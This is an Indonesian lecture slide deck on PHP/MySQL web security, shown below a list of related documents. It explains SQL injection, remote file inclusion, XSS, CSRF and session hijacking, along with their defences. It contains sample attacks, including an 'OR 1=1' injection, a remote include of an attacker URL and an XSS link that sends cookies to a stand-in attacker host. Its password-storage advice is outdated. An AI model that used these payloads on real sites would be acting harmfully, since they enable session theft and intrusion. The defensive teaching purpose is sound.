Web Security Studi Kasus: PHP & MySQL. ARGA DINATA 29 September 2014

dokumen-dokumen yang mirip
Xcode Intensif Training. Advanced ethical web. hacking & security

Xcode Intensif Training. Ethical Web hacking & Security ~ Advanced

Methods of Manual Penetration Testing (Actual Exploit)

Keamanan Sistem World Wide Web. Pertemuan VI

DAFTAR ISI. LEMBAR PENGESAHAN PEMBIMBING... iii. LEMBAR PENGESAHAN PENGUJI... iv. LEMBAR PERNYATAAN KEASLIAN... v. HALAMAN PERSEMBAHAN...

Keamanan Sistem World Wide Web

STUDI DAN IMPLEMENTASI KEAMANAN WEBSITE MENGGUNAKAN OPEN WEB APPLICATION SECURITY PROJECT (OWASP) STUDI KASUS : PLN BATAM

Riska Kurnianto Abdullah NRP :

BAB III ANALISIS MASALAH

ABSTRAK. Kata kunci :SSL, RSA, MD5, Autentikasi, Kriptografi. Universitas Kristen Maranatha

echo zine, issue // Pengamanan URL dengan MAC

Ahmad Muammar W. K.

BAB III IDENTIFIKASI DAN KLASIFIKASI WEB LOG

Bab 4 Hasil dan Pembahasan

Nama : FEPILIANA Nim : TUGAS 05 KEAMANAN JARINGAN KOMPUTER ACTUAL EXPLOIT

BAB III ANALISIS MASALAH

Presented by z3r0byt3 Disusun oleh the_day & y3dips

STMIK AMIKOM Yogyakarta. Keamanan Komputer: Web Security

Keamanan Web Server. Pertemuan XI WEB HACKING

Lebih kompatibel dengan Windows karena memang IIS adalah keluaran Microsoft.

Implementasi ( Implementation Kebijakan (Policy) Pengujian HASIL DAN PEMBAHASAN Spesifikasi ( Specification Perancangan ( Design

SKRIPSI PENGUJIAN KETAHANAN WEBSITE MENGGUNAKAN FRAMEWORK ISSAF DAN OWASP

Prosiding SNaPP2012Sains, Teknologi, dan Kesehatan. Ari Muzakir

rancang bangun aplikasi web vulnerability scanner terhadap kelemahan sql injection dan xss menggunakan java

TUGAS KELOMPOK SECURITY COMPUTER TOOL HACKING SQL INJECTION

OTENTIKASI (Authentication)

PERANCANGAN DAN UJI COBA KEAMANAN PADA JALUR TRANSPORT WEB SERVICE MENGGUNAKAN METODE XML SIGNATURE DAN XML ENCRYPTION

Secara umum, eksploit dapat dibagi atas dua jenis, yaitu eksploit lokal (local exploit), dan eksploit remote (remote exploit).

Keamanan Sistem WWW. Muhammad Zidny Naf an

Andi Dwi Riyanto, M.Kom

Oleh: Ahmad Syauqi Ahsan

Bab I Pendahuluan 1 BAB I PENDAHULUAN

Tugas III II5166 (Keamanan Informasi Lanjut)

BAB III ANALISIS DAN PERANCANGAN

ERWIEN TJIPTA WIJAYA, ST.,M.KOM KEAMANAN INFORMASI

Keamanan Sistem WWW. Sejarah WWW

Keamanan Sistem WWW. WWW security

Pemrograman Web. PHP State, Session dan Cookies. Adam Hendra Brata

KEAMANAN WEB BROWSER SISTEM KEAMANAN TEKNOLOGI INFORMASI

Xcode Private Training. Network hacking & Security

Tugas Bahasa Indonesia

BAB III ANALISIS DAN PERANCANGAN SISTEM. Pada tahap ini sistem yang akan dianalisis merupakan Web

I.I Pengertian & Kinerja SECURITY. Overview. Tujuan

Analisis Penanganan SQL Injection pada Basis Data MySQL dengan Framework Code Igniter dan PHP

WEB VULNERABILITIES ANALYSIS STUDI KASUS WEB DISBUN.MUBAKAB.GO.ID

BAB I PENDAHULUAN. hal yang wajib diketahui seorang web developer. Tanpa pengetahuan tersebut,

MENGANALISA WEBSITE K E A M A N A N S I S T E M E R W I E N T J I P T A W I J A Y A, S T., M. K O M

BAB 11 Keamanan WEB Pendahuluan 11.2 SSL

WAP (3) Muhammad Zen S. Hadi, ST. MSc. WAP - The Wireless Application Protocol

BAB 1 PENDAHULUAN. 1.1 Latar Belakang

HASIL DAN PEMBAHASAN 4.1 Deskripsi Sistem E-Voting Pilkada Kota Bogor

MODUL 6 Redirect,Session, dan Cookies

BAB 2 TINJAUAN PUSTAKA

Protokol Kriptografi Secure P2P

Pencari Celah Keamanan pada Aplikasi Web

Xcode Intensif Training. Ethical Hacking

Web Programming. Elfan Nofiari. IF-ITB/EN/Mar-05 IF3292 Web Programming. Page 1

BAB V IMPLEMENTASI DAN PENGUJIAN

Muhammad Zen Samsono Hadi, ST. Msc.

BAB V. Keamanan Sistem World Wide Web

Jurnal Ilmiah Komputer dan Informatika (KOMPUTA) 45 Edisi... Volume..., Bulan 20.. ISSN :

KEAMANAN/SECURITY. Permasalahan Keamanan Auttentikasi Ancaman Program Ancaman Sistem Sistem Keamanan Deteksi Gangguan Enkripsi Windows NT

Keamanan Data di dalam Cloud Storage

BAB 3 ANALISIS DAN PERANCANGAN. utuh ke dalam bagian-bagian komponennya dengan maksud untuk

Pemrograman Web. PHP State, Session dan Cookies. Adam Hendra Brata

Web mempresentasikan informasi dalam bentuk teks, gambar, suara, dll dalam bentuk hypertext dan dapat diakses oleh perangkat lunak yang disebut

TUGAS V JARINGAN KOMPUTER

KATA PENGANTAR. Assalamualaikum Wr. Wb.

BAB 4 IMPLEMENTASI DAN EVALUASI SISTEM

IMPLEMENTASI KEAMANAN APLIKASI WEB DENGAN WEB APPLICATION FIREWALL

Computer Security. Network Security

MODUL 6 REDIRECT, SESSION & COOKIE

Keamanan Jaringan TIM PENGAJAR PTIK

BAB IV ANALISIS DAN PERANCANGAN PERANGKAT LUNAK

WEB BROWSER SECURITY. Indra Priyandono

BAB 1 PENDAHULUAN. 1.1 Latar Belakang

Gambar 3 Rancangan proses autentikasi proxy.

2. SSH dengan password: SSH dengan public key:

Review Pemrograman Web I

TUTORIAL ANTI INJECTION 1. SCRIPT CODE LOGIN ANTI SQL INJECTION. Materi asli dari Masinosinaga baca dibawah ini:

Lampiran A : Hasil Wawancara. Hasil wawancara dengan Bapak Setiawan Soetopo, manager Internet Service

TEKNIK DASAR KRIPTOGRAFI. Algoritma Kriptografi Modern (Bagian 1) Substitusi. Tabel Subsitusi. Substitusi Blocking Permutasi Ekspansi Pemampatan

Xcode Private Training. Advanced Network hacking & Security

FAULT TOLERANCE. Sistem terdistribusi week 9

SISTEM KEAMANAN PADA MYSQL

Pengamanan Situs dengan Enkripsi Head dan Body HTML Menggunakan Algoritma RC4

Tutorial Celah Keamanan Pada PHP Scripts. Oleh Ramdan Yantu

INSTALLATION GUIDE INSTALLATION GUIDE. PT.Technomatic Cipta Mandiri. IT division: Jl. Cikutra Baru Raya No.2 Bandung-40124

Xcode Private Training. Network Hacking & Wireless. Hacking

Content Injection at Accounts Page that could Result Reflected Cross Site Scripting

Nama : Ari Dwijayanti NIM : STI Keamanan Jaringan. HTTPS (Hyper Text Tranfer Protocol Secure) Sejarah dan Pengertian HTTPS

PROTECTING WEBSITES FROM COMMON ATTACKS

Why Learn Web Security?

PENGANTAR INTERNET & DESAIN WEB

Pengamanan Web Browser

BAB I PENDAHULUAN 1.1 Latar Belakang Masalah

PETUNJUK OPERASIONAL WEBSITE HELPDESK APLIKASI DIREKTORAT JENDERAL PERBENDAHARAAN

Web Server A. DASAR TEORI

CODEIGNITER 3. Belajar Mandiri. Zamah Sari

Administrasi Website Berbasis CPanel Hosting

Transkripsi:

Web Security Studi Kasus: PHP & MySQL ARGA DINATA 29 September 2014

Pendahuluan Web Security Goals: menjaga data yang bersifat privat, tetap menjadi privasi

Issues Secrets Menjaga kerahasiaan informasi Limited Resources CPU, memori, disk space, & bandwidth itu terbatas. Jaga resources ini agar tidak dieksploitasi Good Netizenship Etika profesi, programmer & sysadmin tidak boleh melakukan hal yg merugikan sistem

Referensi Pro PHP Security 2nd Edition: Chris Snyder cs. https://www.owasp.org Open Web Application Security Project

Resiko dan Celah Keamanan Injection Remote Execution Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Authentication & Session Third Party Components PHP Configuration

Nothing is 100% Secure - Anonymous -

SQL Injection Penambahan queri SQL oleh attacker

$username = $_POST[ username ]; $query = SELECT * FROM pengguna WHERE username = {$username} ; /* attacker memasukkan arga OR 1 = 1, sehingga query menjadi: SELECT * FROM pengguna WHERE username = arga OR 1 = 1 */

SQL Injection Tidak hanya $_POST, tapi bisa juga melalui $_GET Yang lebih berbahaya jika injeksi dilakukan pada query UPDATE dan DELETE

SQL Injection Word List https://wfuzz.googlecode.com/svn/trunk/ wordlist/injections/sql.txt

Pencegahan SQL Injection Escape karakter khusus menggunakan fungsi mysql_real_escape_string() Agar semakin aman: Gunakan prepared statements & parameterized queries (PDO / MySQLi) Cek tipe input dari user dengan fungsi gettype() Pastikan jumlah row pada datasource sudah sesuai

Prepared Statements & Parameterized Queries $mysqli = new mysqli($hostname, $username, $password, $database); $nama = $_POST[ nama ]; $stmt = $mysqli->prepare( SELECT * FROM pengguna WHERE nama =? ); $stmt->bind_param( s, $nama); $stmt->execute();

Tools untuk Pengujian SQL Injection SQL Power Injector Pangolin Web Cruiser SQL Map SQL Inject Me (Firefox Plugin)

Code Injection Memasukkan script dari host lain melalui include() Misalkan ada URL http://mysite.com/index.php?content=con tact.php Dimana index.php memiliki instruksi include($_get[ content ]) Attacker memasukkan URL seperti ini: http://mysite.com/index.php?content=htt p://attackersite.com/injection.php

Code Injection Dengan kasus tsb., attacker bisa memperoleh informasi mengenai spesifikasi server dan PHP dari host menggunakan fungsi phpinfo()

Pencegahan Code Injection Non-aktifkan parameter allow_url_include pada php.ini Cek halaman sehingga yang dieksekusi hanya halaman yang valid saja

Remote Execution Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut: eval() exec() passthru() proc_open() shell_exec() system()

Remote Execution dari Upload File Melalui upload file, attacker dapat mengunggah script PHP atau file berbahaya yang lainnya

Pencegahan Remote Execution Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell Cek ekstensi dari file-file yang di-upload Simpan upload file di luar document root Matikan fungsi eval() dan phpinfo()

Cross-Site Scripting (XSS) Memasukkan client-side script dari website lain ke dalam website kita Tag HTML yang bisa diinjeksikan: <script> <object> <applet> <iframe> <embed>

Cross-Site Scripting (XSS) Apa yang dilakukan oleh script injeksi tsb? Mencuri cookies Manipulasi DOM Redirect dll... Darimana injeksi dilakukan? Input user yang bersifat publik, dan script bekerja saat script ditampilkan (contoh: guestbook)

<style> </style> <div style= > html { height: 100% } body { height: 100% } position: absolute; top: 0; left: 0; background: White; width: 100%; height: 100% <h1>situs dalam perbaikan</h1> <a href= # onclick= javascript:window.location= http://attackersite. com/cookies.php?cookie= +document.cookie; >Klik di sini untuk melanjutkan</a> </div>

Pencegahan XSS Encode HTML Entities menggunakan fungsi htmlentities() Jika input user mengandung link, buat blacklist URL yang berbahaya

Tools untuk Testing XSS Web Cruiser Zed Attack Proxy (ZAP) XSS Me (Firefox Plugin)

Cross-Site Request Forgery (CSRF) Akses website dari host lain, tujuannya melakukan aksi pada website secara otomatis (robot)

Pencegahan CSRF Menggunakan CSRF Token (POST maupun GET) Cek HTTP Referrer Challenge-Response: CAPTCHA Re-Authentication One-Time Token

User Authentication Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak Untuk menghindari pencurian data & mengurangi pengrusakan website

Perusak Website SPAMMER Pengguna yang melakukan posting konten yang bersifat promosi SCAMMER Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll... TROLL Pengguna yang melakukan bullying pada pengguna lain

Verifikasi Identitas Pengguna Simpan identitas pengguna agar: Mengurangi pengguna yang merusak Menghindari robot Jika ada pengrusakan, pengguna dapat dilacak Verifikasi dapat dilakukan melalui: Email SMS Credit Card

Password Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi Perhatikan panjang dan kompleksitas password Sediakan fitur untuk mengubah dan reset password

Hash / Enkripsi Password Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah Gunakan algoritma yg sudah umum digunakan Berikan kunci tambahan (salted) Ganti kunci tambahan tersebut secara periodik Multiple key, salah satu independen

Contoh Penyimpanan Password $key = pwd_key_123* ; $salted_pwd = $key.$password.$email; $hash_pwd = hash( sha256, $salted_pwd);

Kriptografi Enkripsi, Hash, & Encode: Enkripsi: merahasikan pesan, dapat dikembalikan ke pesan semula menggunakan dekripsi Hash: merahasikan pesan, tidak dapat dikembalikan ke pesan semula Encode: mengubah pesan ke dalam bentuk lain agar dapat dibaca oleh sistem tertentu. Encode tidak digunakan untuk merahasiakan pesan

Symmetric vs Asymmetric Key Symmetric Key Pengirim dan penerima berbagi kunci rahasia yang sama Contoh: 3DES, AES, Blowfish, RC4 Asymmetric Key Enkripsi dan dekripsi memiliki kunci masingmasing Contoh: RSA

User Access Control Interface yang berbeda-beda User Group User Type

User Log Apache Access Log: Linux: /var/log/httpd/apache-access_log/ Windows: /apache/logs/ Simpan log pengguna: Session ID Date Time User ID Request URI

Session Properti dari session: Session Key / Session ID Session Name Session Length Session Entropy Session Content / Session Value

Session Hijacking Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim Pencurian bisa dilakukan dengan: Packet Sniffing XSS Attack Man-in-the-Middle Attack Main-in-the-Browser Attack

Packet Sniffing

Man-in-the-Middle Attack

Man-in-the-Browser Hampir sama dengan Man-in-the-Middle Attack, tetapi interupsi dilakukan oleh Trojan Horse yg menginfeksi web browser

Session Fixation Membuat victim menggunakan Session ID yang telah diatur oleh attacker Caranya dengan mengirimkan link yang melakukan assignment cookie di victim

Pencegahan Session Hijacking & Fixation Buat Session ID baru setiap pengguna login Ganti nama session (default: PHPSESSID) Simpan informasi user agent dan IP Address, cocokkan ketika ada request halaman

Third Party Components Penggunaan komponen developer lain memiliki resiko dalam keamanan, terutama yang bersifat open source Hampir tidak mungkin kita tidak menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk memperoleh versi terbarunya

PHP Configuration register_global = Off allow_url_fopen = Off allow_url_include = Off error_reporting = E_ALL log_errors = On display_errors = On (development), Off (production) magic_quotes_gpc = Off post_max_size, upload_max_filesize, memory_limit

Secure Socket Layer (SSL) Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman Sekarang Transport Layer Security Kriptografi menggunakan kunci asimetris (asymmetric key) Public-Key Infrastructure x.509

Secure Socket Layer (SSL)